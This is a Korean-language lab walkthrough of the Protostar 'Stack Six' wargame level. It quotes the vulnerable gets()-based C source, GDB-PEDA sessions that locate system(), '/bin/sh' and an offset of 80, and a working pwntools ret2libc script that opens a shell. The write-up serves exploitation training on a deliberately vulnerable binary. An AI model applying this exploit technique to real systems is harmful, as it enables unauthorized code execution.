STACK SIX
Stack6 looks at what happens when you have restrictions on the return address.
This level can be done in a couple of ways, such as finding the duplicate of the payload ( objdump -s will help with this), or ret2libc , or even return orientated programming.
It is strongly suggested you experiment with multiple ways of getting your code to execute here.
This level is at /opt/protostar/bin/stack6
Link - https://exploit.education/protostar/stack-six/#source-code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
이번 실습은 STACK-5 실습과 마찬가지 ret2lib 방법으로 문제를 해결하면 된다.
해당 실습에서 중점적으로 설명할 부분은 ret 값을 "__builtin_return_address(0);"에서 받아온다는 것이다.
그리고 그러한 ret를 저 함수를 이용해서 받아오고, 뒤에 오는 조건문(= if문)을 이용하여 ret의 값을 점검하는 코드이다.
"if((ret & 0xbf000000) == 0xbf000000)"를 보게 되면, ret와 0xbf000000이 and 연산을 하게된다. 그렇게 and 연산을 해서 bf를 포함하는 주소를 ret이 가지고 있다면, 그것을 무력하게 만드는 방법이라고 보면 된다.
결과적으로 ret & 0xbf000000 결과 값이 0xbf000000가 되지 않게 해줘야한다.
만약 ret의 주소가 0xFFFFFFFF로 채워져 있다면, 0xFFFFFFFF & 0xbf000000 = 0xbf000000가 되서 실패하게 된다.
즉, BF가 첫번째와 두번째 주소에 들어가면 안된다는 것이다.
STACK-5의 첫번째 풀이 방법인 스택을 그대로 가리키는 방법으로는 현재 문제를 통과하지 못한다.
이전의 실습에서 썼던 stack5.py를 복사해서 다시 쓰도록 한다.
root@kali:~/Desktop/bin# cp stack5.py stack6.py
STACK-6도 STACK-5와 마찬가지로 GDB를 이용하여 내용을 확인하면 된다.
root@kali:~/Desktop/bin# gdb ./stack6
gdb-peda$ b *main
Breakpoint 1 at 0x80484fa: file stack6/stack6.c, line 26.
gdb-peda$ run
Starting program: /root/Desktop/bin/stack6
[----------------------------------registers-----------------------------------]
EAX: 0xf7faadc8 --> 0xffffd36c --> 0xffffd510 ("SHELL=/bin/bash")
EBX: 0x0
ECX: 0x9b3658ad
EDX: 0xffffd2f4 --> 0x0
ESI: 0xf7fa9000 --> 0x1d9d6c
EDI: 0xf7fa9000 --> 0x1d9d6c
EBP: 0x0
ESP: 0xffffd2cc --> 0xf7de9b41 (<__libc_start_main+241>: add esp,0x10)
EIP: 0x80484fa (<main>: push ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x80484f8 <getpath+116>: leave
0x80484f9 <getpath+117>: ret
=> 0x80484fa <main>: push ebp
0x80484fb <main+1>: mov ebp,esp
0x80484fd <main+3>: and esp,0xfffffff0
0x8048500 <main+6>: call 0x8048484 <getpath>
0x8048505 <main+11>: mov esp,ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffd2cc --> 0xf7de9b41 (<__libc_start_main+241>: add esp,0x10)
0004| 0xffffd2d0 --> 0x1
0008| 0xffffd2d4 --> 0xffffd364 --> 0xffffd4f7 ("/root/Desktop/bin/stack6")
0012| 0xffffd2d8 --> 0xffffd36c --> 0xffffd510 ("SHELL=/bin/bash")
0016| 0xffffd2dc --> 0xffffd2f4 --> 0x0
0020| 0xffffd2e0 --> 0x1
0024| 0xffffd2e4 --> 0x0
0028| 0xffffd2e8 --> 0xf7fa9000 --> 0x1d9d6c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, main (
argc=<error reading variable: Unknown argument list address for `argc'.>, argv=<error reading variable: Unknown argument list address for `argv'.>)
at stack6/stack6.c:26
26 stack6/stack6.c: No such file or directory.
위의 Peda의 내용은 그닥 중요하지 않다.
해당 프로그램에 브레이크 포인트를 걸고, 실행해준 뒤, 시스템 관련 함수를 찾는다.
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xf7e0d980 <system>
STACK-5와 동일한 정보가 들어있는것을 확인할 수 있다.
다음으로는 "/bin/sh"를 찾는다.
gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f4daaa ("/bin/sh")
마찬가지로 STACK-5와 동일한 정보가 들어있는것을 확인할 수 있다.
마지막으로 offset만 지정해주면 된다.
ret의 위치를 찾아주고, ret 주소에 브레이크 포인트를 걸고, 실행한 후 만들어 준 패턴을 넣어주면 끝이다.
gdb-peda$ disas main
Dump of assembler code for function main:
=> 0x080484fa <+0>: push ebp
0x080484fb <+1>: mov ebp,esp
0x080484fd <+3>: and esp,0xfffffff0
0x08048500 <+6>: call 0x8048484 <getpath>
0x08048505 <+11>: mov esp,ebp
0x08048507 <+13>: pop ebp
0x08048508 <+14>: ret
End of assembler dump.
gdb-peda$ b *main+14
Breakpoint 2 at 0x8048508: file stack6/stack6.c, line 31.
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ run
Starting program: /root/Desktop/bin/stack6
gdb-peda$ conti
Continuing.
input path please: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
got path AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAJAAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x6e ('n')
EBX: 0x0
ECX: 0x1
EDX: 0xf7faa890 --> 0x0
ESI: 0xf7fa9000 --> 0x1d9d6c
EDI: 0xf7fa9000 --> 0x1d9d6c
EBP: 0x41344141 ('AA4A')
ESP: 0xffffd2c0 ("fAA5AAKAAgAA6AAL")
EIP: 0x41414a41 ('AJAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414a41
[------------------------------------stack-------------------------------------]
0000| 0xffffd2c0 ("fAA5AAKAAgAA6AAL")
0004| 0xffffd2c4 ("AAKAAgAA6AAL")
0008| 0xffffd2c8 ("AgAA6AAL")
0012| 0xffffd2cc ("6AAL")
0016| 0xffffd2d0 --> 0x0
0020| 0xffffd2d4 --> 0xffffd364 --> 0xffffd4f7 ("/root/Desktop/bin/stack6")
0024| 0xffffd2d8 --> 0xffffd36c --> 0xffffd510 ("SHELL=/bin/bash")
0028| 0xffffd2dc --> 0xffffd2f4 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414a41 in ?? ()
진행 결과, 브레이크 포인트가 실행 되어버렸다.
그렇지만, "Invalid $PC address: 0x41414a41" 코드의 주소를 복사해서 넣어주면 된다. ret까지 진행되었기 때문에 해당 주소를 이용하여 offset을 구하여 파이썬 코드에 넣어줘도 문제가 되지 않는다.
gdb-peda$ pattern offset 0x41414a41
1094797889 found at offset: 80
root@kali:~/Desktop/bin# gedit stack6.py
from pwn import *
system = p32(0xf7e0d980)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(0xf7f4daaa)
offset = 80
payload = 'A'*offset + system + dummy + bin_sh
p = process(['stack6'])
p.sendline(payload)
p.interactive()
root@kali:~/Desktop/bin# python stack6.py
[!] Could not find executable 'stack6' in $PATH, using './stack6' instead
[+] Starting local process './stack6': pid 17036
[*] Switching to interactive mode
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80���AAAAAAAAAAAA\x80������\xff
$ ls
core format1 heap1 net2 stack0 stack5 uaf
final0 format2 heap2 net3 stack1 stack5.py uaf.c
final1 format3 heap3 net4 stack2 stack6
final2 format4 net0 peda-session-stack5.txt stack3 stack6.py
format0 heap0 net1 peda-session-stack6.txt stack4 stack7
마지막에 Enter를 한번 눌러주고, 리눅스 명령어를 입력하니 리눅스 명령어가 잘 실행되는 것을 확인할 수 있다.